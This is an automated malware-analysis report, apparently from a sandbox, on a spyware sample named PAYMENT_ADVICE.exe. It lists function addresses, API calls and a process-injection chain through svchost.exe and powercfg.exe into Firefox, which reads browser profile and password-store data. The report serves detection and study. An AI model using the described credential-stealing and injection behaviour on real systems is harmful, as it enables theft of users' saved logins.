                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0040E7A32_2_0040E7A3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0384E3F02_2_0384E3F0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_039003E62_2_039003E6
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038FA3522_2_038FA352
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038C02C02_2_038C02C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038E02742_2_038E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038F41A22_2_038F41A2
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_039001AA2_2_039001AA
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038F81CC2_2_038F81CC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038301002_2_03830100
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038DA1182_2_038DA118
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038C81582_2_038C8158
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038D20002_2_038D2000
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0383C7C02_2_0383C7C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038647502_2_03864750
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038407702_2_03840770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0385C6E02_2_0385C6E0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_039005912_2_03900591
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038405352_2_03840535
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038EE4F62_2_038EE4F6
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038E44202_2_038E4420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038F24462_2_038F2446
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038F6BD72_2_038F6BD7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038FAB402_2_038FAB40
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0383EA802_2_0383EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038429A02_2_038429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0390A9A62_2_0390A9A6
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038569622_2_03856962
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038268B82_2_038268B8
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386E8F02_2_0386E8F0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0384A8402_2_0384A840
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038428402_2_03842840
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038BEFA02_2_038BEFA0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03832FC82_2_03832FC8
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0384CFE02_2_0384CFE0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03882F282_2_03882F28
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03860F302_2_03860F30
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038E2F302_2_038E2F30
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B4F402_2_038B4F40
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03852E902_2_03852E90
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038FCE932_2_038FCE93
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038FEEDB2_2_038FEEDB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038FEE262_2_038FEE26
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03840E592_2_03840E59
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03858DBF2_2_03858DBF
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0383ADE02_2_0383ADE0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0384AD002_2_0384AD00
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038DCD1F2_2_038DCD1F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038E0CB52_2_038E0CB5
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03830CF22_2_03830CF2
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03840C002_2_03840C00
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0388739A2_2_0388739A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038F132D2_2_038F132D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0382D34C2_2_0382D34C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038452A02_2_038452A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0385B2C02_2_0385B2C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038E12ED2_2_038E12ED
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0384B1B02_2_0384B1B0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0387516C2_2_0387516C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0382F1722_2_0382F172
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0390B16B2_2_0390B16B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038EF0CC2_2_038EF0CC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038470C02_2_038470C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038F70E92_2_038F70E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038FF0E02_2_038FF0E0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038FF7B02_2_038FF7B0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038F16CC2_2_038F16CC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038856302_2_03885630
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038DD5B02_2_038DD5B0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_039095C32_2_039095C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038F75712_2_038F7571
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038FF43F2_2_038FF43F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038314602_2_03831460
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0385FB802_2_0385FB80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B5BF02_2_038B5BF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0387DBF92_2_0387DBF9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038FFB762_2_038FFB76
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038DDAAC2_2_038DDAAC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03885AA02_2_03885AA0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038E1AA32_2_038E1AA3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038EDAC62_2_038EDAC6
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038FFA492_2_038FFA49
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038F7A462_2_038F7A46
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B3A6C2_2_038B3A6C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038D59102_2_038D5910
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038499502_2_03849950
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0385B9502_2_0385B950
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038438E02_2_038438E0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038AD8002_2_038AD800
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03841F922_2_03841F92
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038FFFB12_2_038FFFB1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03803FD22_2_03803FD2
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03803FD52_2_03803FD5
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038FFF092_2_038FFF09
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03849EB02_2_03849EB0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0385FDC02_2_0385FDC0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03843D402_2_03843D40
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038F1D5A2_2_038F1D5A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038F7D732_2_038F7D73
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038FFCF22_2_038FFCF2
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B9C322_2_038B9C32
                Source: C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exeCode function: 5_2_03B9BBED5_2_03B9BBED
                Source: C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exeCode function: 5_2_03B9522D5_2_03B9522D
                Source: C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exeCode function: 5_2_03B952245_2_03B95224
                Source: C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exeCode function: 5_2_03B9D9FD5_2_03B9D9FD
                Source: C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exeCode function: 5_2_03BB400D5_2_03BB400D
                Source: C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exeCode function: 5_2_03B9359D5_2_03B9359D
                Source: C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exeCode function: 5_2_03B935945_2_03B93594
                Source: C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exeCode function: 5_2_03B935E65_2_03B935E6
                Source: C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exeCode function: 5_2_03B9344D5_2_03B9344D
                Source: C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exeCode function: 5_2_03B9544D5_2_03B9544D
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_0322A3526_2_0322A352
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_032303E66_2_032303E6
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_0317E3F06_2_0317E3F0
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_032102746_2_03210274
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_031F02C06_2_031F02C0
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_031601006_2_03160100
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_0320A1186_2_0320A118
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_031F81586_2_031F8158
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_032241A26_2_032241A2
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_032301AA6_2_032301AA
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_032281CC6_2_032281CC
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_032020006_2_03202000
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_031947506_2_03194750
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_031707706_2_03170770
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_0316C7C06_2_0316C7C0
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_0318C6E06_2_0318C6E0
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_031705356_2_03170535
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_032305916_2_03230591
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_032144206_2_03214420
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_032224466_2_03222446
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_0321E4F66_2_0321E4F6
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_0322AB406_2_0322AB40
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_03226BD76_2_03226BD7
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_0316EA806_2_0316EA80
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_031869626_2_03186962
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_0323A9A66_2_0323A9A6
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_031729A06_2_031729A0
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_031728406_2_03172840
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_0317A8406_2_0317A840
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_031568B86_2_031568B8
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_0319E8F06_2_0319E8F0
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_03212F306_2_03212F30
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_03190F306_2_03190F30
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_031B2F286_2_031B2F28
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_031E4F406_2_031E4F40
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_031EEFA06_2_031EEFA0
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_03162FC86_2_03162FC8
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_0317CFE06_2_0317CFE0
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_0322EE266_2_0322EE26
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_03170E596_2_03170E59
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_03182E906_2_03182E90
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_0322CE936_2_0322CE93
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_0322EEDB6_2_0322EEDB
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_0317AD006_2_0317AD00
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_0320CD1F6_2_0320CD1F
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_03188DBF6_2_03188DBF
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_0316ADE06_2_0316ADE0
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_03170C006_2_03170C00
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_03210CB56_2_03210CB5
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_03160CF26_2_03160CF2
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_0322132D6_2_0322132D
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_0315D34C6_2_0315D34C
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_031B739A6_2_031B739A
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_031752A06_2_031752A0
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_032112ED6_2_032112ED
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_0318B2C06_2_0318B2C0
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_0323B16B6_2_0323B16B
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_0315F1726_2_0315F172
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_031A516C6_2_031A516C
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_0317B1B06_2_0317B1B0
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_0322F0E06_2_0322F0E0
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_032270E96_2_032270E9
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_031770C06_2_031770C0
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_0321F0CC6_2_0321F0CC
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_0322F7B06_2_0322F7B0
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_031B56306_2_031B5630
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_032216CC6_2_032216CC
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_032275716_2_03227571
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_0320D5B06_2_0320D5B0
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_032395C36_2_032395C3
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_0322F43F6_2_0322F43F
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_031614606_2_03161460
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_0322FB766_2_0322FB76
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_0318FB806_2_0318FB80
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_031ADBF96_2_031ADBF9
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_031E5BF06_2_031E5BF0
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_03227A466_2_03227A46
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_0322FA496_2_0322FA49
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_031E3A6C6_2_031E3A6C
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_03211AA36_2_03211AA3
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_0320DAAC6_2_0320DAAC
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_031B5AA06_2_031B5AA0
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_0321DAC66_2_0321DAC6
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_032059106_2_03205910
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_031799506_2_03179950
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_0318B9506_2_0318B950
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_031DD8006_2_031DD800
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_031738E06_2_031738E0
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_0322FF096_2_0322FF09
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_03171F926_2_03171F92
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_0322FFB16_2_0322FFB1
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_03133FD26_2_03133FD2
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_03133FD56_2_03133FD5
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_03179EB06_2_03179EB0
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_03227D736_2_03227D73
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_03173D406_2_03173D40
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_03221D5A6_2_03221D5A
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_0318FDC06_2_0318FDC0
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_031E9C326_2_031E9C32
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_0322FCF26_2_0322FCF2
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_027621306_2_02762130
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_0275B2306_2_0275B230
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_0275D2306_2_0275D230
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_0275B3776_2_0275B377
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_0275B3C96_2_0275B3C9
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_0275B3806_2_0275B380
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_0275D0106_2_0275D010
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_0275D0076_2_0275D007
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_027657E06_2_027657E0
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_027639D06_2_027639D0
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_0277BDF06_2_0277BDF0
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_02F8E3886_2_02F8E388
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_02F8E4AD6_2_02F8E4AD
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_02F8E83C6_2_02F8E83C
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_02F8D9086_2_02F8D908
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: String function: 00360AE3 appears 70 times
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: String function: 00347DE1 appears 35 times
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: String function: 00368900 appears 42 times
                Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 03887E54 appears 111 times
                Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 0382B970 appears 280 times
                Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 038AEA12 appears 86 times
                Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 038BF290 appears 105 times
                Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 03875130 appears 58 times
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: String function: 031EF290 appears 105 times
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: String function: 0315B970 appears 280 times
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: String function: 031A5130 appears 58 times
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: String function: 031DEA12 appears 86 times
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: String function: 031B7E54 appears 111 times
                Source: PAYMENT_ADVICE.exe, 00000000.00000003.2048140067.000000000397D000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenamentdll.dllj% vs PAYMENT_ADVICE.exe
                Source: PAYMENT_ADVICE.exe, 00000000.00000003.2049032142.0000000003473000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenamentdll.dllj% vs PAYMENT_ADVICE.exe
                Source: PAYMENT_ADVICE.exeStatic PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
                Source: classification engineClassification label: mal100.troj.spyw.evad.winEXE@7/5@8/8
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_003AA06A GetLastError,FormatMessageW,0_2_003AA06A
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_003981CB AdjustTokenPrivileges,CloseHandle,0_2_003981CB
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_003987E1 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,0_2_003987E1
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_003AB333 SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,0_2_003AB333
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_003BEE0D CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,0_2_003BEE0D
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_003B83BB CoInitialize,CoUninitialize,CoCreateInstance,IIDFromString,VariantInit,VariantClear,0_2_003B83BB
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_00344E89 CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,0_2_00344E89
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeFile created: C:\Users\user\AppData\Local\Temp\autEC38.tmpJump to behavior
                Source: PAYMENT_ADVICE.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                Source: C:\Program Files\Mozilla Firefox\firefox.exeFile read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.iniJump to behavior
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
                Source: powercfg.exe, 00000006.00000002.3885733273.0000000002AB0000.00000004.00000020.00020000.00000000.sdmp, powercfg.exe, 00000006.00000003.2780067736.0000000002B06000.00000004.00000020.00020000.00000000.sdmp, powercfg.exe, 00000006.00000003.2777868964.0000000002AD1000.00000004.00000020.00020000.00000000.sdmp, powercfg.exe, 00000006.00000002.3885733273.0000000002AD1000.00000004.00000020.00020000.00000000.sdmp, powercfg.exe, 00000006.00000003.2777707720.0000000002AE6000.00000004.00000020.00020000.00000000.sdmp, powercfg.exe, 00000006.00000003.2780067736.0000000002AD1000.00000004.00000020.00020000.00000000.sdmp, powercfg.exe, 00000006.00000002.3885733273.0000000002B06000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
                Source: PAYMENT_ADVICE.exeReversingLabs: Detection: 36%
                Source: unknownProcess created: C:\Users\user\Desktop\PAYMENT_ADVICE.exe "C:\Users\user\Desktop\PAYMENT_ADVICE.exe"
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeProcess created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\PAYMENT_ADVICE.exe"
                Source: C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exeProcess created: C:\Windows\SysWOW64\powercfg.exe "C:\Windows\SysWOW64\powercfg.exe"
                Source: C:\Windows\SysWOW64\powercfg.exeProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeProcess created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\PAYMENT_ADVICE.exe"Jump to behavior
                Source: C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exeProcess created: C:\Windows\SysWOW64\powercfg.exe "C:\Windows\SysWOW64\powercfg.exe"Jump to behavior
                Source: C:\Windows\SysWOW64\powercfg.exeProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"Jump to behavior
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeSection loaded: wsock32.dllJump to behavior
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeSection loaded: version.dllJump to behavior
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeSection loaded: winmm.dllJump to behavior
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeSection loaded: mpr.dllJump to behavior
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeSection loaded: wininet.dllJump to behavior
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeSection loaded: iphlpapi.dllJump to behavior
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeSection loaded: userenv.dllJump to behavior
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeSection loaded: uxtheme.dllJump to behavior
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeSection loaded: kernel.appcore.dllJump to behavior
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeSection loaded: windows.storage.dllJump to behavior
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeSection loaded: wldp.dllJump to behavior
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeSection loaded: ntmarta.dllJump to behavior
                Source: C:\Windows\SysWOW64\powercfg.exeSection loaded: powrprof.dllJump to behavior
                Source: C:\Windows\SysWOW64\powercfg.exeSection loaded: powrprof.dllJump to behavior
                Source: C:\Windows\SysWOW64\powercfg.exeSection loaded: powrprof.dllJump to behavior
